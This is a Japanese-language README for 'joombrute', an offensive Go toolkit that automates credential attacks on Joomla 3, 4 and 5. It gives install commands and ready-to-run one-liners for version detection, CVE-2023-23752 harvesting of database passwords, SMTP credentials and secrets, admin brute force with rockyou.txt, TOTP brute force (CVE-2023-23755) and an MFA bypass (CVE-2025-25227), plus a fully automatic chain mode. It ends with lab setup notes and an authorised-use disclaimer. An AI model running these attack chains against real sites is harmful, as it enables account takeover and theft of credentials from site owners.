
モダンJoomla認証攻撃ツールキット J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227

モダンなJoomla認証攻撃ツールキット
J3 / J4 / J5 - CVE-2023-23752 · CVE-2023-23755 · CVE-2025-25227
Joomla CMSバージョン3、4、5をカバーする認証情報攻撃ツールキット。6つのサブコマンドが攻撃チェーン全体をエンドツーエンドで処理します:
detect - バージョンフィンガープリント(マニフェストXML → generatorメタ → 管理画面マークアップ)enum - CVE-2023-23752 認証なしAPIによる収集:ユーザー名、DBホスト/ユーザー/パスワード、SMTP認証情報、アプリケーションシークレットbrute - ワーカーごとのセッション分離と4分類(success / mfa-required / invalid / blocked)による並行管理者ログインブルートフォースmfa-brute - CVE-2023-23755 キャプティブMFA画面に対する網羅的6桁TOTP攻撃mfa-bypass - CVE-2025-25227 半認証セッション上で view=methods(および他4つの候補ビュー/タスク)を介したMFAバイパスchain - フルオートパイロット:detect → enum → brute → ブルートフォースがキャプティブ画面に到達した場合の自動MFAバイパスピボット単一の静的バイナリで、実行時依存関係はありません。ワーカーごとのクッキージャーによるネイティブなgoroutine並行処理。SIEM取り込み用のJSONL出力。HTTP/HTTPS/SOCKS5プロキシ対応。Joomla 3.10、4.2.7、5.4.6のDockerラボに対してエンドツーエンドで検証済み。
# Option A - Go install (requires Go 1.22+)
go install github.com/rvzsec/joombrute/cmd/joombrute@latest
# Option B - Pre-built binary from releases
curl -L -o joombrute https://github.com/rvzsec/joombrute/releases/latest/download/joombrute-linux-amd64
chmod +x joombrute
# Option C - Build from source
git clone https://github.com/rvzsec/joombrute
cd joombrute
make
joombrute detect -u <target>
joombrute enum -u <target>
joombrute brute -u <target> --user admin -w rockyou.txt -c 20
joombrute mfa-brute -u <target> --user admin --password <pw> -c 50
joombrute mfa-bypass -u <target> --user admin --password <pw>
joombrute chain -u <target> -w rockyou.txt -c 20
# JSONL output for piping / SIEM ingest
joombrute --json brute -u <target> --user admin -w rockyou.txt > hits.jsonl
CVE-2025-25227 は、$onlyCaptive フラグを付けずに isMultiFactorAuthenticationPage() を呼び出す MultiFactorAuthenticationHandler::needsMultiFactorAuthenticationRedirection() を悪用します。バイパス免除リストには、キャプティブチャレンジを解決せずに半認証セッションがアクセスできるMFA 管理 ビュー(view=methods、view=method、view=callback、task=method.add …)が暗黙的に含まれます。
detect - joomla.xml マニフェスト → <meta name="generator"> → 管理画面マークアップによるフィンガープリントenum - CVE-2023-23752 認証なしAPIハーベスト(ユーザー、DBホスト/ユーザー/パスワード、SMTP、アプリシークレット)brute - 管理者フォームのブルートフォース、ワーカーごとのセッション分離、4分類(success / mfa-required / invalid / blocked)mfa-brute - CVE-2023-23755 キャプティブ画面上での6桁TOTPブルートフォースmfa-bypass - CVE-2025-25227 状態チェックバイパスプローブ(非破壊的)chain - フルオート:detect → enum → brute → MFAバイパスプローブmake lab # docker compose up + seed J3.10 / J4.2.7 / J5.x with admin user
make smoke # end-to-end against all three (no MFA)
make lab-mfa # seed a known TOTP secret on J4 admin (for mfa-* tests)
make smoke-mfa # brute -> mfa-required, mfa-bypass VULN, chain auto-pivot
make lab-mfa-off # remove the MFA record (back to plain admin)
make lab-down # tear it all down
ラボインストーラーはJoomlaのWebインストーラーを完全にバイパスします。インストールSQLをMySQLに直接ロードし、管理者ユーザー(admin / admin1234)を挿入し、最小限の configuration.php を書き込みます。seed_mfa.php はJoomla自身のAES-128-CBC + シークレットキー暗号化を使用するため、キャプティブエンドポイントが正しく復号できます。ラボ専用です。両スクリプトは lab/docker-compose.yml の標準的な joombrute-* コンテナ名を前提としています。
make all
# produces dist/joombrute-{linux,darwin,windows}-{amd64,arm64} statically linked
許可されたセキュリティテストのみを対象としています。明示的な書面による許可を得たシステムに対してのみ実行してください。どのIDSでも検知するトラフィックを生成します。メンテナーは誤用に対する一切の責任を負いません。
Ravindu Wickramasinghe | rvz (@rvzsec) · www.zyenra.com
オリジナルのJoomla 3ブルートフォースコンセプト:@ajnik CVE-2023-23752 攻撃チェーン調査:VulnCheck
| CVE | 影響を受けるバージョン | モード | パッチ適用バージョン | ラボ検証 |
|---|
| CVE-2023-23752 | 4.0.0 - 4.2.7 | enum | 4.2.8 (2023-02) | ✅ J4.2.7 |
| CVE-2023-23755 | 4.2.0 - 4.3.1 | mfa-brute | 4.3.2 (2023-05) | ✅ J4.2.7 |
| CVE-2025-25227 | 4.0.0 - 4.4.12, 5.0.0 - 5.2.5 | mfa-bypass | 4.4.13 / 5.2.6 (2025-04) | ✅ J4.2.7 |